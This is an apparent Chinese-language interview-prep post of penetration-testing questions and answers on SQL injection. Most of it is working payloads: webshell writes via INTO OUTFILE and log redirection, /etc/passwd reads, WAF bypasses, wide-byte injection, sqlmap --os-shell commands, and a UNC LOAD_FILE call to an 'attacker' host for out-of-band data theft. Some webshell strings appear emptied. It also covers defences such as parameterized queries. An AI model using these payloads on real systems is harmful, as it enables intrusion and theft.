2025年渗透测试面试题总结-02(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
SQLi
一、获取Webshell的多种思路(针对test.jsp?cid=150 )
二、变形注入绕过技巧
三、MySQL写入一句话的条件
四、MySQL 5.0+与5.0-注入差异
五、SQLMap实战注入方法
六、SQL注入Bypass技巧
七、SQL注入全解析
八、宽字节注入原理与利用
九、SQL注入检测方法
SQLi
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路?mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?Mysql的网站注入,5.0以上和5.0以下有什么区别?sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?你都了解哪些SQL注入的bypass技巧?介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?如何判断SQL注入,有哪些方法,说说你最常用的?一、获取Webshell的多种思路(针对
test.jsp?cid=150)
直接写入Webshell
sql?cid=150\'; SELECT \'\' INTO OUTFILE \'/var/www/html/shell.php\'--+条件:
- MySQL用户需具备
FILE权限- 已知Web绝对路径(可通过
@@datadir推测)secure_file_priv未限制写入目录日志文件篡改
sql?cid=150\'; SET global general_log_file=\'/var/www/html/log.php\'; SET global general_log=on; SELECT \'\';--+原理:将SQL日志写入Web目录并包含恶意代码。
UNION注入读取敏感文件
sql?cid=-150 UNION SELECT LOAD_FILE(\'/etc/passwd\'),2,3--+目的:获取配置文件(如
/etc/apache2/sites-enabled/000-default.conf)定位Web路径。
二、变形注入绕过技巧
变形类型 绕过方案 Payload示例 Base64编码 嵌套解码函数 ?id=MQ==\' UNION SELECT 1,2,3 FROM users WHERE \'1\'=\'1→ 后端解码后执行JSON包装 闭合JSON结构 {\"id\":\"1\' AND 1=2 UNION SELECT @@version,2-- \"}特殊字符过滤 等价函数替换 SELSELECTECT→ 双写绕过(过滤SELECT)
三、MySQL写入一句话的条件
- 核心权限:
SHOW VARIABLES LIKE \'secure_file_priv\'值为空或目标路径SELECT File_priv FROM mysql.user WHERE user=\'当前用户\'=Y- 路径要求:
- 通过报错/配置文件泄露获取Web绝对路径
- 目录需有写权限(Linux:
www-data用户权限)- 语句构造:
sqlUNION SELECT \"\",2,3 INTO OUTFILE \'/var/www/shell.php\'--+
四、MySQL 5.0+与5.0-注入差异
特性 5.0以下 5.0以上 信息获取 暴力猜解表名/列名 直接查询 information_schemaPayload复杂度 需盲注或基于错误 可UNION联合查询 函数支持 无 group_concat()等函数支持丰富函数
五、SQLMap实战注入方法
GET型注入:
bashsqlmap -u \"http://target.com/test.jsp?cid=150\" --batch --dbsPOST型注入:
- 保存请求包为
post.txt:httpPOST /login.jsp HTTP/1.1 ... username=admin&password=123- 执行:
bashsqlmap -r post.txt -p \"username\" --os-shell
六、SQL注入Bypass技巧
防御方式 绕过方案 案例 关键字过滤 大小写混合/URL编码 UnIoN→%55%6E%69%6F%6EWAF规则 分块传输/注释混淆 /*!50000SELECT*/(MySQL特性)参数类型 数组参数污染 ?id=1&id=2 UNION SELECT 1,2,3--
七、SQL注入全解析
漏洞成因:
用户输入未过滤直接拼接到SQL语句(如:\"SELECT * FROM users WHERE id=\" + input)。防御方案:
- 参数化查询:
PreparedStatement绑定参数- 最小权限原则:数据库账户禁用
FILE/EXECUTE权限- WAF规则:过滤
UNION、SELECT等关键字注入方式:
- 报错注入:
?id=1\' AND updatexml(1,concat(0x7e,@@version),1)--- 布尔盲注:
?id=1\' AND SUBSTRING(@@version,1,1)=\'5\'--- 时间盲注:
?id=1\' AND IF(1=1,SLEEP(5),0)--进阶利用:
- 读取文件:
UNION SELECT LOAD_FILE(\'/etc/passwd\'),1,1- SSRF攻击:
?id=1\'; SELECT LOAD_FILE(\'\\\\\\\\attacker\\\\share\')--
八、宽字节注入原理与利用
原理:
GBK等编码中,%df%27→%df+\'(0x27)被解析为汉字“運”(0xdf5c),使单引号逃逸。Payload构造:
sql?cid=150%df%27 AND 1=2 UNION SELECT 1,@@version,3--+修复方案:
- 统一使用UTF-8编码
- 过滤前执行
mysql_set_charset(\'utf8\')
九、SQL注入检测方法
- 经典报错法:
sql?id=150\' # 观察是否返回数据库错误信息- 布尔逻辑法:
sql?id=150 AND 1=1 # 正常显示 ?id=150 AND 1=2 # 内容消失- 时间延迟法(最隐蔽):
sql?id=150\' AND IF(SUBSTRING(@@version,1,1)=\'5\',SLEEP(5),0)--+- 工具扫描法:
bashsqlmap -u \"url\" --level=3 --risk=3
实战经验提示:
- MySQL 5.0+优先利用
information_schema快速获取表结构- 写入Webshell时尝试多路径(如
/tmp/、/var/www/html/、/opt/)- 遇WAF必用
--tamper脚本(推荐charencode.py、apostrophemask.py)- 无写权限时转向SMB中继攻击或DNS带外数据泄露(
LOAD_FILE(\'\\\\\\\\attacker\\\\test\'))


